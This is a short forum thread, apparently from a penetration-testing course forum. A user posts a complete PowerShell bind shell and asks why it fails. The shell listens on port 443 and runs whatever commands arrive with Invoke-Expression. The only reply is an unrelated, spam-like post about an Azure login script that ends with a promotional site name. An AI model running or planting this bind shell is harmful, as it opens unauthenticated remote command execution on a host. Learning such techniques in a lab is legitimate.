Results 1 to 2 of 2

Thread: Powershell bind (connection) throws errors

  1. #1
    Join Date
    2022-Jul
    Posts
    3

    Powershell bind (connection) throws errors

    Hi there,

    I put the next code in Powershell (Windows 10) and my Linux machine is listering with netcat but the code does not work.

    I have started in the meanwhile with a Powershell course but can't find yet the solution.

    Code:
    $listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443)$listener.start( )$client = $listener.AcceptTcpClient()$stream = $client.GetStream()[byte[]]$bytes = 0..65535 | ForEach-Object{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)    $sendback = (Invoke-Expression $data 2>&1 | Out-String )    $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '>'    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)    $stream.Write($sendbyte,0,$sendbyte.Length)    $stream.Flush()}$client.Close()$listener.Stop()

  2. #2
    Join Date
    2020-Aug
    Posts
    35
    My automated script connects to Azure by passing stored credentials to Connect-AzureAD -Credential $Credentials. These credentials are securely stored in a pair of encrypted text files. However, if one of the files gets deleted or the stored password changes, the script currently opens the interactive login window, causing it to pause indefinitely. To enhance script functionality, I'm exploring options to either implement an error notification, allowing the script to continue and report the issue, or establish a timeout limit for the interactive login box. This improvement aims to streamline the script's performance and ensure smoother execution. For additional insights, visit Cardailytips.
    Last edited by miafrance; 2023-11-24 at 03:15.

Similar Threads

  1. OpenVPN throws an error
    By User3 in forum General Archive
    Replies: 1
    Last Post: 2022-08-10, 09:22
  2. Powershell bind code in manual PWK doesn't work
    By Richard2022 in forum General Archive
    Replies: 2
    Last Post: 2022-08-04, 23:28
  3. Live usb throws isolinux.bin missing error
    By SpartanNihilist in forum Installing Archive
    Replies: 1
    Last Post: 2013-08-09, 15:24

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •